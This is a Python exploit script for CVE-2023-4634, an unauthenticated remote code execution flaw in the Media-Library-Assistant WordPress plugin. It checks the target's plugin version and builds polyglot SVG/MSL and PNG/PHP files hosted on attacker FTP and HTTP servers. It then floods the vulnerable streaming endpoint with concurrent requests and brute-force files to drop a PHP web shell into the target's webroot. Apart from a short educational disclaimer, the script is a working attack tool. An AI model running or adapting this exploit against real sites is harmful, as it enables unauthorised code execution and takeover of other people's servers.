#!/usr/bin/python3 # Exploit Title: Unauthenticated Remote Code Execution on Media-Library-Assistant Wordpress plugin # Exploit Author: Florent MONTEL @Pepitoh / Twitter @Pepito_oh # Product Version: Wordpress Plugins Media-Library-Assistant version < 3.10 # CVE: CVE-2023-4634 # Copyright: 2023, Patrowl.io # # Disclaimer: This script is intended to be used for educational purposes only. # Do not run this against any system that you do not have permission to test. # The author will not be held responsible for any use or damage caused by this # program. import grequests import requests_ftp import argparse import requests import random import time import re import os from PIL import Image from PIL.PngImagePlugin import PngInfo banner = """ MMMMMMMMMMMMMMMN0d;.';dKWMMMMMMMMMMMMMMM MMMMMMMMMMWN0xc;'.,;;,.';lx0NWMMMMMMMMMM MMMMMWNKkl:'.,:ldddoodddl:'.':okKNWMMMMM MMMWOc,.';loddl:'. .':lddoc;'.,c0WMMM MMMN:.:OX0l'. .,oKKk;.lNMMM MMMWl.dkk0l. .o0kOo.dWMMM MMMMx.co.cOk, ;kO:'d:.kMMMM MMMM0';d. lNXo. 'dXNo.'d,,KMMMM MMMMX;'d;,0OlxOl. .oOd:xKccd.:NMMMM MMMMWl.dc;0O'.c0O:. .c00:..dKloo.oWMMMM MMMMMx.lo.;xOxxOOOkddkOkOxxkk:,dc.kMMMMM MMMMMO':d. .''. .cxdc. .''..,xO;,0MMMMM MMMMMK;,d, .;lcdx':XMMMMM MMMMMNc.d: ...;cllc;. co.lWMMMMM MMMMMWd.od. .':odxxdl;. .xc.xMMMMMM MMMMMMO''xd;;d0KOo;.. .;xx.,0MMMMMM MMMMMMNd..cd0WXo. .:odo:.'kWMMMMMM MMMMMMMWKd:'';oddc,..,lddl;'':xXWMMMMMMM MMMMMMMMMMWXkl,',cdddoc,';oOXWMMMMMMMMMM MWWWMMMMMMMMMMN0d:'..,cxKWMMMMMMMMMMMMMM MWWWMMMWWWMMMMWMMMKkXMWXKKXMMMMMMMMMMMMM CVE-2023-4634.py // Unauthenticated Remote Code Execution on Media-Library-Assistant Wordpress plugin with default Imagick configuration by Patrowl - Pepitoh (florent@patrowl.io) Product: - Wordpress Plugins Media-Library-Assistant version < 3.10 """ # Color output COLORS = { "grey": 30, "red": 31, "green": 32, "yellow": 33, "blue": 34, "magenta": 35, "cyan": 36, "white": 37 } def colored(text: str, color: str) -> str: """Colorize text with ANSI escape sequences.""" return f"\033[{COLORS[color]}m{text}\033[0m" if __name__ == '__main__': parser = argparse.ArgumentParser( prog="CVE-2023-4634 Exploit", description="Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10", allow_abbrev=False ) parser.add_argument( '--target', nargs='?', help='URL of the Target, ex: http://victimwordpress.org') parser.add_argument( '--remoteftp', nargs='?', help='URL of the remote FTP use to store SVGs files, ex: ftp://X.X.X.X:PORT') parser.add_argument( '--remotehttp', nargs='?', help='URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex: http://X.X.X.X:PORT') parser.add_argument( '--svg_polyglot_name', nargs='?', help='Name of the external polyglot SVG/MSL file used (for generation or final usage), ex: poly.svg') parser.add_argument( '--svg_exploiter_names', nargs='?', help='Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg') parser.add_argument( '--png_polyglot_name', nargs='?', help='Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg') parser.add_argument( '--concurrency', nargs='?', type=int, default = 100, help='Number of concurrent long SVG conversion requests to make (default 100)') parser.add_argument( '--generatesvg', action=argparse.BooleanOptionalAction, help='Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory') parser.add_argument( '--webserverpath', help='Path of the webserver on the victim server (could be found with the LFI and wp-config file), ex: /var/www/html') parser.add_argument( '--exploitname', help='Dropped exploit name, ex: pwned.php') parser.add_argument( '--generatepng', action=argparse.BooleanOptionalAction, help='Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder') parser.add_argument( '--payload', help='PHP Payload to integrate in the PNG file, ex: ') args = parser.parse_args() target = args.target remoteftp = args.remoteftp remotehttp = args.remotehttp svg_polyglot_name = args.svg_polyglot_name svg_exploiter_names = args.svg_exploiter_names png_polyglot_name = args.png_polyglot_name concurrency = args.concurrency generatesvg = args.generatesvg generatepng = args.generatepng webserverpath = args.webserverpath exploitname = args.exploitname payload = args.payload MAX_CONCURRENT_THREADS = 10 bruteforce_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-" print(colored(banner, "white")) print(colored("\n", "white")) print(colored("[-] Checking arguments", "cyan")) #Option to generate the polyglot PNG/PHP file if generatepng: print(colored("\t[-] Option to generate polyglot PNG/PHP selected", "cyan")) if not payload or not png_polyglot_name: print(colored("\t[x] The --payload and --png_polyglot_name options are needed to be set to create the PNG file", "red")) exit() if not os.path.exists("./exploit-png"): os.mkdir("./exploit-png") try: targetImage = Image.open("exploit-png/sample.png") metadata = PngInfo() metadata.add_text("Comment", payload) targetImage.save("exploit-png/"+png_polyglot_name, pnginfo=metadata) print(colored("\t\t[-] "+png_polyglot_name+" polyglot PNG/PHP file generated", "green")) exit() except Exception as e: print(colored("\t[x] No PNG file found in the folder exploit-png, add a standard PNG sample.png in it", "red")) exit() #Generate SVG Files elif generatesvg: print(colored("\t[-] Option to generate SVG selected", "cyan")) if not svg_polyglot_name or not svg_exploiter_names or not remotehttp or not png_polyglot_name or not webserverpath or not exploitname: print(colored("\t\t[x] The --svg_polyglot_name, --svg_exploiter_names, --remotehttp, --png_polyglot_name, --webserverpath and --exploitname options are needed to create the SVG/MSL Polyglot file", "red")) exit() elif "FUZZ" not in svg_exploiter_names: print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to create the files", "red")) exit() else: print(colored("\t[-] Generating polyglot SVG/MSL file using user inputs", "cyan")) poly_svg = """ """ % { "remotehttp": remotehttp +"/"+png_polyglot_name , "webserverpath" : webserverpath+"/"+exploitname } if not os.path.exists("./remote_ftp"): os.mkdir("./remote_ftp") f = open("./remote_ftp/"+svg_polyglot_name,"w") f.write(poly_svg) f.close() f = open("./remote_ftp/"+svg_polyglot_name+"[0]", "w") f.write(poly_svg) f.close() print(colored("\t\t[-] "+svg_polyglot_name+" generated", "green")) #Generating msl:vid bruteforcers print(colored("\t[-] Generating bruteforce file using text:vid:msl formatter", "cyan")) for i in bruteforce_list: filename = svg_exploiter_names.replace("FUZZ",i) exploiter_content = """ xmlns=\"http://www.w3.org/2000/svg\"> """ % { "letter" : i } f = open("./remote_ftp/"+filename, "w") f.write(exploiter_content) f.close f = open("./remote_ftp/"+filename+"[0]", "w") f.write(exploiter_content) f.close print(colored("\t\t[-] "+filename+" generated", "green")) print(colored("\t[-] All files have been generated successfully", "green")) exit() #Exploitation Part elif target and remoteftp and remotehttp and svg_polyglot_name and svg_exploiter_names and png_polyglot_name and exploitname: print(colored("\t[-] All arguments for exploiting target are set, beginning the first checks", "green")) if "FUZZ" not in svg_exploiter_names: print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to be used in exploitation", "red")) exit() target_mla = target+"/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php" target_mla_readme = target+"/wp-content/plugins/media-library-assistant/readme.txt" try: r = requests.get(target_mla_readme) except Exception as e: print(colored("\t[x] The target seems to be down, error:" +str(e), "red")) if r.status_code == 404: print(colored("\t[x] The target seems not be running the plugin", "red")) exit() else: if re.findall('(?mi)Stable tag: ([0-9.]+)', r.text): if float(re.findall('(?mi)Stable tag: ([0-9.]+)', r.text)[0]) < 3.10: print(colored("\t[-] The target seems to be running the plugin in vulnerable version (<3.10)", "green")) else: print(colored("\t[x] The Plugin version seems to be installed but not in a vulnerable version", "red")) #Checking FTP files ftp_target = remoteftp + "/" +svg_polyglot_name ftp_taget_frame = ftp_target+"[0]" requests_ftp.monkeypatch_session() s = requests.Session() try: resp = s.get(ftp_target) except: print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file "+ftp_target, "red")) exit() if (resp.status_code == 200): print(colored("\t[-] The remote FTP polyglot SVG/MSL file is reachable", "green")) try: resp = s.get(ftp_taget_frame) except: print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file ending with [0] "+ftp_target, "red")) exit() if (resp.status_code == 200): print(colored("\t[-] The remote FTP polyglot SVG/MSL file ending with [0] is reachable", "green")) ftp_target_exploiter = remoteftp + "/"+svg_exploiter_names.replace("FUZZ", random.choice(bruteforce_list)) ftp_taget_exploiter_frame = ftp_target_exploiter+"[0]" requests_ftp.monkeypatch_session() s = requests.Session() try: resp = s.get(ftp_target_exploiter) except: print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file "+ftp_target, "red")) exit() if (resp.status_code == 200): print(colored("\t[-] A sample remote FTP exploiter VID test file is reachable", "green")) try: resp = s.get(ftp_taget_exploiter_frame) except: print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file ending with [0] "+ftp_target, "red")) exit() if (resp.status_code == 200): print(colored("\t[-] A sample Remote FTP exploiter VID test file ending with [0] is reachable", "green")) #Checking final PNG/PHP polyglot file remote_virus = remotehttp +"/"+png_polyglot_name try: r = requests.get(remote_virus) except Exception as e: print(colored("\t[x] The Remote HTTP Server Hosting PNG Virus seems to be down, error:" +str(e), "red")) exit() if r.status_code == 404: print(colored("\t[x] The remote PNG/PHP file is not reachable (404)", "red")) exit() else: print(colored("\t[-] The remote Exploit PNG/PHP file is reachable", "green")) #Laucnhing exploitation print(colored("[!] All arguments have been checked correctly, lauching exploitation", "yellow")) print(colored("[-] Lauching "+str(concurrency)+" Threads on long SVG", "cyan")) exploit_url = target_mla + "?mla_stream_file="+ftp_target exploit_ploly_list = [exploit_url] * concurrency rs = (grequests.get(u,timeout=0.5) for u in exploit_ploly_list) grequests.map(rs) print(colored("[-] Waiting 5 second for the file to be created", "cyan")) time.sleep(5) print(colored("[-] Starting Bruteforcing with VID exploiters", "cyan")) exploit_url_list = [] for i in bruteforce_list: exploit_url = target_mla + "?mla_stream_file="+remoteftp+"/"+svg_exploiter_names.replace("FUZZ",i) exploit_url_list.append(exploit_url) rs = (grequests.get(u,timeout=0.5) for u in exploit_url_list) grequests.map(rs) time.sleep(5) print(colored("[-] Checking the drop of "+exploitname, "cyan")) target_virus = target+"/"+exploitname i = 0 #timeout to 80 second while i <= 8: try: r = requests.get(target_virus) except Exception as e: print(colored("\t[!] Error while reaching the target URL, hope you did not crash it: " +str(e), "red")) exit() if (r.status_code == 200): print(colored("\t[-] Exploit worked!, the PHP file is in the web directory, Enjoy 🔥", "green")) exit() else: print(colored("\t[!] Not yet, try "+str(i+1)+" on 9 ... checking again in 10 seconds", "yellow")) time.sleep(10) i =+ i+1 continue print(colored("\t[!] Exploit has not worked, try by increase concurrency value or use another method", "red")) exit() else: print(colored("\t[!] Missing arguments!", "red")) exit()